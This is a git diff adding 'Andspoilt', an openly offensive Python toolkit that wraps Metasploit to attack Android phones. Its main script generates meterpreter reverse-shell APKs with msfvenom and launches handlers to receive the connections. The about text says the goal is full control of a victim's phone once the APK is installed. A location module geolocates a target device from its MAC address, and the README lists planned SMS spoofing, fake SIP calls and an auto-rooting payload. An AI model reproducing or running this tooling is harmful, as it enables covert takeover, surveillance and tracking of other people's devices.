diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..b735373 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,35 @@ +--- +name: Bug report +about: Create a report to help us improve + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Desktop (please complete the following information):** + - OS: [e.g. iOS] + - Browser [e.g. chrome, safari] + - Version [e.g. 22] + +**Smartphone (please complete the following information):** + - Device: [e.g. iPhone6] + - OS: [e.g. iOS8.1] + - Browser [e.g. stock browser, safari] + - Version [e.g. 22] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..066b2d9 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,17 @@ +--- +name: Feature request +about: Suggest an idea for this project + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/Andspoilt.py b/Andspoilt.py deleted file mode 100644 index 35a93b9..0000000 --- a/Andspoilt.py +++ /dev/null @@ -1,172 +0,0 @@ -#!/usr/bin/python - -import os -import sys, traceback - -def main(): - try: - print (''' -\033[1;31m - - aaaa\ dd| ssss| ppppp\ 00000\ ii| ll| tt| - aa aa\ _____ dd| ss| pp pp| 00 00| ll| tt| - aa aa\ nnnnn \ dd dd| ss| pp pp|00 00|ii| ll| ttt|ttt \033[1;32m - aa$$$$$$aa| nn nn|dd dd| sssss\ pp pp/ 00 00|ii| ll| tt| - aa aa| nn nn|dd dd| ss|pp| 00 00| ii| ll| tt| - aa aa| nn nn|dd____dd| ssssss/ pp| 0000/ ii| ll| ttt - - [**********]Android Exploit Toolkit[*********] \033[1;36m - [***]Developed by Sunday Joel Philemon[***] - [**]Mail: philemonsunday202@gmail.com[**] - -\033[1;m - ''') - def splash(): - while True: - print (''' -1) Create Android apk payload -2) Start exploit -3) Update Andspoilt -4) Credits and About -5) Help -6) Exit Andspoilt - - ''') - - dark = raw_input("\033[1;36muse > \033[1;m") - - while dark == "1": - print (''' -1) Android-meterpreter-staged-reverse-tcp -2) Android-meterpreter-reverse-http -3) Android-meterpreter-reverse-https -4) Start SimpleHTTPServer for quick file transfer - - ''') - user_command = raw_input("\033[1;32mChoose Command > \033[1;m") - if user_command == "1": - cmd1 = os.system("msfpc apk REVERSE STAGED TCP") - elif user_command == "2": - cmd3 = os.system("msfpc apk REVERSE STAGED HTTP") - elif user_command == "3": - cmd3 = os.system("msfpc apk REVERSE STAGED HTTPS") - - elif user_command == "back": - splash() - elif user_command == "gohome": - splash() - elif user_command == "4": - cmd4 = os.system("python2 -m SimpleHTTPServer 8080") - - else: - print ("\033[1;31mWrong Command choosen!\033[1;m") - - - if dark == "3": - print ("\033[1;35mYou are using the latest version of Andspoilt\033[1;m") - - def blue(): - while dark == "2": - print (''' -\033[1;35m ****************** - * ***** * - * * * * - * ** ** * - * ** ** * - * ** ___ ** * - * * || * * - * *_||_* * - * * - * * - ****************** -\033[1;m - -1) Start Android-meterpreter-staged-reverse-tcp listener -2) Start Android-meterpreter-reverse-http listener -3) Start Android-meterpreter-reverse-https listener -Use "back" to navigate to previous commands - - ''') - print ("\033[1;32mChoose to start Listener .\n\033[1;m") - - ignition = raw_input("\033[1;36mIgnite > \033[1;m") - if ignition == "back": - splash() - elif ignition == "1": - print("\033[1;31m[***]YOUR IP ADDRESS IS[***]\033[1;m") - os.system("ip addr") - print("""\033[1;31m - Metaspoilt is starting -COPY AND PASE THE FOLLOWING COMMANDS - use exploit/multi/handler -set payload android/meterpreter/reverse_tcp - set LHOST - set LPORT 443 - exploit -j\033[1;m - \033[1;31m -TYPE "exit" in metaspoilt console to return to main menu\033[1;m - """) - os.system("msfconsole") - - elif ignition == "2": - print("\033[1;31m[***]YOUR IP ADDRESS IS[***]\033[1;m") - os.system("ip addr") - print("""\033[1;31m - Metaspoilt is starting -COPY AND PASE THE FOLLOWING COMMANDS - use exploit/multi/handler -set payload android/meterpreter/reverse_http - set LHOST - set LPORT 443 - exploit -j\033[1;m - \033[1;31m -TYPE "exit" in metaspoilt console to return to main menu\033[1;m - """) - os.system("msfconsole") - - elif ignition == "3": - print("\033[1;31m[***]YOUR IP ADDRESS IS[***]\033[1;m") - os.system("ip addr") - print("""\033[1;31m - Metaspoilt is starting -COPY AND PASE THE FOLLOWING COMMANDS - use exploit/multi/handler -set payload android/meterpreter/reverse_https - set LHOST - set LPORT 443 - exploit -j\033[1;m - \033[1;31m -TYPE "exit" in metaspoilt console to return to main menu\033[1;m - """) - os.system("msfconsole") - - if dark == "4": - print(""" - \033[1;31m - [***]ABOUT[***]\033[1;m -\033[1;35m Andspoilt V 1.0 is designed to to remotely control android devices -This is by creating an APK file which is installed in the victims phone. -The attacker can therefore have full control of the victims phone in the meterpreter shell -\033[1;31m [***]CREDITS[***]\033[1;m -\033[1;35m* Shalleen Baraka Happuch -* Lance Ezra Juma - -\033[1;m""") - if dark == "5": - print("""\033[1;31m [**]For any problem contact mails[**]:\033[1;m - \033[1;35mphilemonsunday202@gmail.com - pythonofhades@programmer.net\033[1;m""") - if dark == "6": - sys.exit(0) - - - blue() - splash() - except KeyboardInterrupt: - print ("Andspoilt shutdown unexpectedly") - except Exception: - traceback.print_exc(file=sys.stdout) - sys.exit(0) - -if __name__ == "__main__": - main() diff --git a/README.md b/README.md index 745a6cf..3c3abdb 100644 --- a/README.md +++ b/README.md @@ -1,23 +1,33 @@ # Andspoilt + Run interactive android exploits in linux by giving the users easy interface to exploit android devices Uses an intergration with Metaspoilt Framework by giving the user an easy interface to create payloads and launch android exploits. -![alt text](https://github.com/pythonofhades/Andspoilt/blob/master/andy.jpg) +![alt text](https://github.com/pythonofhades/Andspoilt/blob/master/src/andy.png) Current Additional feature is a simple web server for file distribution -![alt text](https://github.com/pythonofhades/Andspoilt/blob/master/and.jpg) +Installing +===== + +![alt text](https://github.com/pythonofhades/Andspoilt/blob/master/src/install1.jpg) + +Run the terminal as root type: + +`git clone https://github.com/sundaysec/Andspoilt.git` + +`cd /Andspoilt` -Am also planning to add more features like: +`python ./setup.py install` -SMS spoofing +SMS spoofing(On Development) ===== Feature would allow the user to send sms's with fake id -SIP spoofing +SIP spoofing(On Development) ===== -Feature would allow user make fake VOIP calls +Feature would allow user make fake SIP invitation -Android rooting +Android rooting(On Development) ===== Feature would allow user generate an apk file which automatically roots the phone it's installed in. diff --git a/_config.yml b/_config.yml index ddeb671..fc24e7a 100644 --- a/_config.yml +++ b/_config.yml @@ -1 +1 @@ -theme: jekyll-theme-time-machine \ No newline at end of file +theme: jekyll-theme-hacker \ No newline at end of file diff --git a/andspoilt b/andspoilt new file mode 100644 index 0000000..c5ccffa --- /dev/null +++ b/andspoilt @@ -0,0 +1,3 @@ +#!/usr/bin/python +import andspoilt +andspoilt.main() diff --git a/andspoilt.py b/andspoilt.py new file mode 100644 index 0000000..f16f1e9 --- /dev/null +++ b/andspoilt.py @@ -0,0 +1,162 @@ +#!/usr/bin/python + +import os +import sys, traceback +import subprocess +#import argparse +from src import banner + +def main(): + try: + banner.banner() + def splash(): + while True: + print (''' +1) Create Android apk payload +2) Pwn a shell +3) Update Andspoilt +4) Credits and About +5) Help +6) Exit Andspoilt + ''') + + dark = raw_input("\033[1;36muse > \033[1;m") + + while dark == "1": + print (''' +1) Android-meterpreter-staged-reverse-tcp +2) Android-meterpreter-reverse-http +3) Android-meterpreter-reverse-https +4) Start SimpleHTTPServer for quick file transfer + +Use "back" to navigate to previous commands + ''') + + user_command = raw_input("\033[1;32mChoose Command > \033[1;m") + if user_command == "1": + lhost = raw_input("\033[1;32mInput your IP address > \033[1;m") + lport = raw_input("\033[1;32mInput the PORT > \033[1;m") + name = raw_input("\033[1;32mEnter the output name > \033[1;m") + os.system('msfvenom -p android/meterpreter/reverse_tcp LHOST="' + lhost + '" LPORT="' + lport + '" -o /root/Desktop/' + name) + listen = raw_input("\033[1;32mDo you wish to start the listener now?(y/n) > \033[1;m") + if listen == 'yes' or listen =='y': + os.system("service postgresql start && msfdb start") + os.system("msfconsole -q -x 'use exploit/multi/handler/; set payload android/meterpreter/reverse_tcp; set LPORT " + lport + "; set LHOST " + lhost + "; run -j'") + else: + os.system("clear") + banner.banner() + splash() + + elif user_command == "2": + lhost = raw_input("\033[1;32mInput your IP address > \033[1;m") + lport = raw_input("\033[1;32mInput the PORT > \033[1;m") + name = raw_input("\033[1;32mEnter the output name > \033[1;m") + os.system('msfvenom -p android/meterpreter/reverse_http LHOST="' + lhost + '" LPORT="' + lport + '" -o /root/Desktop/' + name) + listen = raw_input("\033[1;32mDo you wish to start the listener now?(y/n) > \033[1;m") + if listen == 'yes' or listen =='y': + os.system("msfdb start && service postgresql start") + os.system("msfconsole -q -x 'use exploit/multi/handler/; set payload android/meterpreter/reverse_http; set LPORT " + lport + "; set LHOST " + lhost + "; run -j'") + else: + os.system("clear") + banner.banner() + splash() + elif user_command == "3": + lhost = raw_input("\033[1;32mInput your IP address > \033[1;m") + lport = raw_input("\033[1;32mInput the PORT > \033[1;m") + name = raw_input("\033[1;32mEnter the output name > \033[1;m") + os.system('msfvenom -p android/meterpreter/reverse_https LHOST="' + lhost + '" LPORT="' + lport + '" -o /root/Desktop/' + name) + listen = raw_input("\033[1;32mDo you wish to start the listener now?(y/n) > \033[1;m") + if listen == 'yes' or listen =='y': + os.system("msfdb start && service postgresql start") + os.system("msfconsole -q -x 'use exploit/multi/handler/; set payload android/meterpreter/reverse_https; set LPORT " + lport + "; set LHOST " + lhost + "; run -j'") + else: + os.system("clear") + banner.banner() + splash() + + elif user_command == "back": + splash() + elif user_command == "gohome": + splash() + elif user_command == "4": + cmd4 = os.system("python2 -m SimpleHTTPServer 8080") + elif user_command == "exit": + sys.exit("Killed the program") + + else: + print ("\033[1;31mWrong Command choosen!\033[1;m") + + + if dark == "3": + cwdpath = os.getcwd() + subprocess.Popen("%s/src/update.sh" % cwdpath, shell=True).wait() + + def blue(): + while dark == "2": + print (''' +\033[1;35m +[***]Pwning a shell[***] +\033[1;m + +1) Start Android-meterpreter-staged-reverse-tcp listener +2) Start Android-meterpreter-reverse-http listener +3) Start Android-meterpreter-reverse-https listener +4) Access Root +5) Enumerate SipDroid + +Use "back" to navigate to previous commands + + ''') + ignition = raw_input("\033[1;36mIgnite > \033[1;m") + if ignition == "back": + splash() + elif ignition == "1": + lhost = raw_input("\033[1;32mInput your IP address > \033[1;m") + lport = raw_input("\033[1;32mInput the PORT > \033[1;m") + os.system("msfdb start && service postgresql start") + os.system("msfconsole -q -x 'use exploit/multi/handler/; set payload android/meterpreter/reverse_tcp; set LPORT " + lport + "; set LHOST " + lhost + "; run -j'") + + elif ignition == "2": + lhost = raw_input("\033[1;32mInput your IP address > \033[1;m") + lport = raw_input("\033[1;32mInput the PORT > \033[1;m") + os.system("msfdb start && service postgresql start") + os.system("msfconsole -q -x 'use exploit/multi/handler/; set payload android/meterpreter/reverse_http; set LPORT " + lport + "; set LHOST " + lhost + "; run -j'") + + elif ignition == "3": + lhost = raw_input("\033[1;32mInput your IP address > \033[1;m") + lport = raw_input("\033[1;32mInput the PORT > \033[1;m") + os.system("msfdb start && service postgresql start") + os.system("msfconsole -q -x 'use exploit/multi/handler/; set payload android/meterpreter/reverse_https; set LPORT " + lport + "; set LHOST " + lhost + "; run -j'") + + + elif ignition == "exit": + sys.exit() + else: + print ("\033[1;31mWrong Command choosen!\033[1;m") + + if dark == "4": + banner.about() + if dark == "5": + banner.help() + if dark == "6" or dark == 'exit': + print("Exit Andspoilt") + sys.exit(0) + if dark == "show w" or dark == 'warranty': + banner.warranty() + if dark == "show c" or dark == 'copyright': + banner.copyright() + if dark == "banner" or dark == 'b': + os.system("clear") + banner.banner() + + blue() + splash() + except KeyboardInterrupt: + print ("Andspoilt shutdown unexpectedly") + except Exception: + traceback.print_exc(file=sys.stdout) + sys.exit(0) +if os.getuid(): + exit('You need to run Andspoilt as root') +if __name__ == "__main__": + main() diff --git a/Run Andspoilt.sh b/run_me.sh similarity index 100% rename from Run Andspoilt.sh rename to run_me.sh diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..cebaa81 --- /dev/null +++ b/setup.py @@ -0,0 +1,72 @@ +#! /usr/bin/python +# coding=utf-8 +# +# +# Python installer +# +# +import sys +import os +import subprocess +import platform +import time +from src import banner + +if platform.system() == 'Linux': + installer = False + #Request root Permission + if os.getuid() != 0: + os.system("resize -s 7 47 > /dev/null") + print("To complete installation Please run as root") + time.sleep(2) + exit() + + try: + if sys.argv[1] == 'install': + installer = True + except IndexError: + os.system("resize -s 26 64 > /dev/null") + print banner.banner5 + print(""" + \033[1;31m[***]\033[1;32mAndspoilt Installer\033[1;31m[***]\033[1;m + \033[1;31m[**]\033[1;35mUse Agument \033[1;33m'install'\033[1;35m to install\033[1;31m[**]""") + raw_input() + print("\033[1;m Id est: [\033[1;31mroot@" + platform.node() +"\033[1;m] $ ./setup.py install") + sys.exit() + + #initialise Process + if installer is True: + #Check if path already exists + if os.path.isdir('/usr/share/andspoilt'): + print(""" + \033[1;31m[***]\033[1;32mAndspoilt Installer\033[1;31m[***]\033[1;m + It seems Andspoilt is already installed""") + time.sleep(2) + remove = raw_input("""\033[1;31mDo you wish to clean Install? (y/n) + \033[1;30mDefault \033[1;31m'yes'\033[1;m""") + if remove == 'no' or remove == 'n': + sys.exit() + else: + os.system('rm -rf /usr/share/andspoilt') + os.system("clear") + print("\033[1;31m\n[***]\033[1;32mAndspoilt Installer\033[1;31m[***]\033[1;m\n" + ""*8 + "Installing.......") + cwdpath = os.getcwd() + subprocess.Popen("cd ..;cp -rf %s /usr/share/andspoilt" % cwdpath, shell=True).wait() + subprocess.Popen("echo #!/bin/bash > /usr/bin/andspoilt", shell=True).wait() + subprocess.Popen("echo cd /usr/share/andspoilt >> /usr/bin/andspoilt", shell=True).wait() + subprocess.Popen("echo exec python2 andspoilt $@ >> /usr/bin/andspoilt", shell=True).wait() + subprocess.Popen("chmod +x /usr/bin/andspoilt", shell=True).wait() + subprocess.Popen("chmod +x %s/src/run.sh" % cwdpath, shell=True).wait() + subprocess.Popen("cp %s/src/ad_support.rb /usr/share/metasploit-framework/tools/recon/ad_support.rb" % cwdpath, shell=True).wait() + subprocess.Popen("chmod +x /usr/share/metasploit-framework/tools/recon/ad_support.rb", shell=True).wait() + subprocess.Popen("%s/src/run.sh" % cwdpath, shell=True).wait() + time.sleep(2) + os.system("clear") + print ("\033[1;31m [**]\033[1;33mFinished installing\033[1;31m[**]") + print ("\033[1;37mUsage :\033[1;m") + time.sleep(1) + print(" [\033[1;31mroot@" + platform.node() +"\033[1;m]─[\033[1;34m" + os.getcwd() + "\033[1;m] $ andspoilt") + print("""\n\n\n\n\n""") + +if platform.system() not in ["Linux", "Darwin"]: + print("Andspoilt is not designed for " + platform.system()) diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/src/__init__.py @@ -0,0 +1 @@ + diff --git a/src/__init__.pyc b/src/__init__.pyc new file mode 100644 index 0000000..d1139bb Binary files /dev/null and b/src/__init__.pyc differ diff --git a/src/a.png b/src/a.png new file mode 100644 index 0000000..d9a8be9 Binary files /dev/null and b/src/a.png differ diff --git a/src/ad_support.rb b/src/ad_support.rb new file mode 100644 index 0000000..601f8b6 --- /dev/null +++ b/src/ad_support.rb @@ -0,0 +1,19 @@ +#!/usr/bin/env ruby +#Original file's google_geolocate_bssid Metaspoilt recon tool +msfbase = __FILE__ +while File.symlink?(msfbase) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) +end + +$LOAD_PATH.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..','lib'))) +require 'rex/google/geolocation' +require 'optparse' + +g = Rex::Google::Geolocation.new +ARGV.each do |mac| + g.add_wlan(mac, nil, -83) +end + +g.fetch! + +puts g, g.google_maps_url diff --git a/src/andy.png b/src/andy.png new file mode 100644 index 0000000..08cb21c Binary files /dev/null and b/src/andy.png differ diff --git a/src/banner.py b/src/banner.py new file mode 100644 index 0000000..68c49cb --- /dev/null +++ b/src/banner.py @@ -0,0 +1,129 @@ +# -*- coding: utf-8 -*- +import random +banner1 ="""\033[1;29m + ████ ███ ██ ████ ███ █▀▀▀█ ████ ██ ██ ██████ +██ ██ ██ █ ██ █ █ █ ▀ █ █ ██ ██ ██ ██ ██ +██████ ██ ███ █ █ ███ █▀▀▀▀ ██ ▀▀ ██ ██ ██ ██ +██ ██ ██ ██ ████ █ █ ████ ██ █████ ██ + ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +\033[1;m""" +banner2 = """ + █████████████████████████████████████████████████████\033[1;34m + ███████████████████████ ████████████████████████████\033[1;35m + ██████████████████████ ██ ███████████████████████████\033[1;36m + █████████████████████ ████ ██████████████████████████\033[1;37m + █████████████████████ ██████████████████████████\033[1;38m + █████████████████████ ████ ██████████████████████████\033[1;39m + ████████████Android Exploit Toolkit██████████████████\033[1;33m + █████████████████████████████████████████████████████\033[1;32m +\033[1;m""" +banner3 = """\033[1;31m + + aaaa\ dd| ssss| ppppp\ 00000\ ii| ll| tt| + aa aa\ _____ dd| ss| pp pp| 00 00| ll| tt| + aa aa\ nnnnn\ dd dd| ss| pp pp|00 00|ii| ll| ttt|ttt \033[1;32m + aa$$$$$$aa| nn nn|dd dd| sssss\ pp pp/ 00 00|ii| ll| tt| + aa aa| nn nn|dd dd| ss|pp| 00 00| ii| ll| tt| + aa aa| nn nn|dd____dd| ssssss/ pp| 0000/ ii| ll| ttt + + [**********]Android Exploit Toolkit[*********] \033[1;36m + [***]Developed by Sunday Joel Philemon[***] + [**]Mail: philemonsunday202@gmail.com[**] + +\033[1;m""" + +banner4 = """ + \033[1;37m▒▒████ ▒███ ▒██▒████ ███ ▒█▀▀▀█ ▒████ ▒██ ▒██ ▒██████\033[1;m + ▒\033[1;33m██ ██ ▒██▒█▒██▒█ ▒█▒█ ▀▒█ ▒█ ██ ▒██ ▒██ ▒██ ▒██\033[1;m + \033[1;36m▒██████ ▒██ ▒███▒█ ▒█ ▒███ ▒█▀▀▀▀ ██ ▀▀▒██ ▒██ ▒██ ▒██\033[1;m + ▒\033[1;33m██ ██ ▒██ ▒██▒████ ▒█ ▒█ ▒████ ▒██ ▒█████ ▒██ + ▒▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ +\033[1;m + [**********]Android Exploit Toolkit[*********] \033[1;36m + [***]Developed by Sunday Joel Philemon[***] + [**]Mail: philemonsunday202@gmail.com[**] + \033[1;m +""" +banner5 = """ + \033[1;31m ..'''.. + .:d0NMMMMMMMMMXOo, + :0WMMMMMMMMMMMMMMMMMWk, ✨ + cNMMMMMMWWNNNNNNNWWMMMMMMK, + .KMMMMMMWWNXc\033[1;m:::::\033[1;31mcXNWWMMMMMMk + ,WMMMMMMWWNXc\033[1;m ..... \033[1;31mcXNWWMMMMMMK. + .NMMMMMMMWNXx\033[1;m.........\033[1;31mxXNWMMMMMMMk + dMMMMMMMWNXO\033[1;m.....\033[1;31mo\033[1;m.....\033[1;31mOXNWMMMMMMM' + KMMMMMMWNX0'\033[1;m... \033[1;31mlOl\033[1;m ...'\033[1;31m0XNWMMMMMMl + XMMMMMWWNK;\033[1;m .. :\033[1;31mOOO\033[1;m: .. ;\033[1;31mKNWWMMMMMo + xMMMMWWNXl\033[1;m ....;:::;.... \033[1;31mlXNWWMMMM, + .WMMMWNXk\033[1;m.................\033[1;31mkXNWMMMK + cMMWNX0\033[1;m.... :\033[1;31modddddoc\033[1;m ....\033[1;31m0XNWMN. + cWWNX,\033[1;m . ;\033[1;31mKXNNNNNXK\033[1;m; . ,\033[1;31mXNWK. + .kWNKKKKKXNWWWMWWWNXKKKKKNNo. + .xNWWWWWWMMMMMMMWWWWWWKo. + .;xKWMMMMMMMMMMMN0o,. + .';clooolc,. . + Just created a dent in your screen . . . . \033[1;m + [**********]Android Exploit Toolkit[*********] \033[1;36m + [***]Developed by Sunday Joel Philemon[***] + [**]Mail: philemonsunday202@gmail.com[**]\033[1;m +""" +stream = (banner1, banner2, banner3, banner4, banner5) +def banner(): + print random.choice(stream) + +def about(): + #print banner4 + print(""" + \033[1;31m + [***]ABOUT[***]\033[1;m + +\033[1;35m + Andspoilt Copyright (C) 2017 Philemon Sunday Joel + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +Andspoilt V 1.1 is designed exploit Android Devices +It utilises Metaspoilt and other tools in a simple interactive User Interface + +\033[1;31m [***]CREDITS[***]\033[1;m +\033[1;35m + * Shalleen Baraka Happuch + * Lance Ezra Juma + +\033[1;m""") +def help(): + print("""\033[1;31m [**]Report Bugs and ask questions[**]:\033[1;m + \033[1;35mphilemonsunday202@gmail.com + pythonofhades@programmer.net\033[1;m""") + +def warranty(): + print("""\033[1;29m + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\033[1;m""") + +def copyright(): + print("""\033[1;29m + Copyright (C) 2017 Philemon Sunday Joel + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +\033[1;m +""") diff --git a/src/banner.pyc b/src/banner.pyc new file mode 100644 index 0000000..bf42601 Binary files /dev/null and b/src/banner.pyc differ diff --git a/src/install1.jpg b/src/install1.jpg new file mode 100644 index 0000000..928e054 Binary files /dev/null and b/src/install1.jpg differ diff --git a/src/install2.jpg b/src/install2.jpg new file mode 100644 index 0000000..b1f23e5 Binary files /dev/null and b/src/install2.jpg differ diff --git a/src/location.py b/src/location.py new file mode 100644 index 0000000..5ab3d04 --- /dev/null +++ b/src/location.py @@ -0,0 +1,46 @@ +#Module completed on Tue Apr 17 at 00:30 +import os, re, json +import time, subprocess +from urllib2 import urlopen + +def locate(): + try: + os.system("clear; tset") + print("""[**]This query's phone location from it's Ip or Mac address[**]\n\033[3;33mDisclaimer: Not very accurate\033[1;m\n\n1.) Mac address\n2.) Ip address""") + print("*" * 18) + addr = raw_input("> ") + while addr == "": + addr = raw_input("> ") + if addr == "1": + mac_addr = raw_input("Input MAC address: ") + if mac_addr == '': + pass + else: + print("User Location :)") + subprocess.Popen('ruby /usr/share/metasploit-framework/tools/recon/ad_support.rb ' + mac_addr, shell=True).wait() + #raw_input("Press Enter to continue") + if addr == "2": + ip_addr = raw_input("Input Ip address: ") + if addr == "back": + pass + else: + print("No data") + time.sleep(2) + + #Declaring variables + url = 'http://ipinfo.io/json' + data = json.load(response) + + IP=data['ip'] + response = urlopen(url) + org=data['org'] + city = data['city'] + country=data['country'] + region=data['region'] + + print "Your Details: " + print 'IP : {4} \nRegion : {1} \nCountry : {2} \nCity : {3} \nISP : {0}'.format(org,region,country,city,IP) + + except Exception: + print("No internet connection\nPress a key to continue") + raw_input() diff --git a/src/location.pyc b/src/location.pyc new file mode 100644 index 0000000..6110885 Binary files /dev/null and b/src/location.pyc differ diff --git a/src/logo.png b/src/logo.png new file mode 100644 index 0000000..ef3c9b6 Binary files /dev/null and b/src/logo.png differ diff --git a/src/run.sh b/src/run.sh new file mode 100644 index 0000000..fa61a59 --- /dev/null +++ b/src/run.sh @@ -0,0 +1,9 @@ +echo '[Desktop Entry]' >> /usr/share/applications/Andspoilt.desktop +echo 'Type=Application' >> /usr/share/applications/Andspoilt.desktop +echo 'Name=Andspoilt' >> /usr/share/applications/Andspoilt.desktop +echo 'Encoding=UTF-8' >> /usr/share/applications/Andspoilt.desktop +echo 'Comment=Android Exploit Toolkit' >> /usr/share/applications/Andspoilt.desktop +echo 'Categories=08-exploitation-tools;Security;' >> /usr/share/applications/Andspoilt.desktop +echo "Exec=sh -c 'andspoilt;${SHELL:-bash}'" >> /usr/share/applications/Andspoilt.desktop +echo 'Icon=/usr/share/andspoilt/src/a.png' >> /usr/share/applications/Andspoilt.desktop +echo 'Terminal=true' >> /usr/share/applications/Andspoilt.desktop diff --git a/src/update.sh b/src/update.sh new file mode 100644 index 0000000..52b545e --- /dev/null +++ b/src/update.sh @@ -0,0 +1,5 @@ +#!/bin/bash +git clone https://github.com/pythonofhades/Andspoilt.git +cd ~/Andspoilt +chmod +x *.* +python ./setup.py install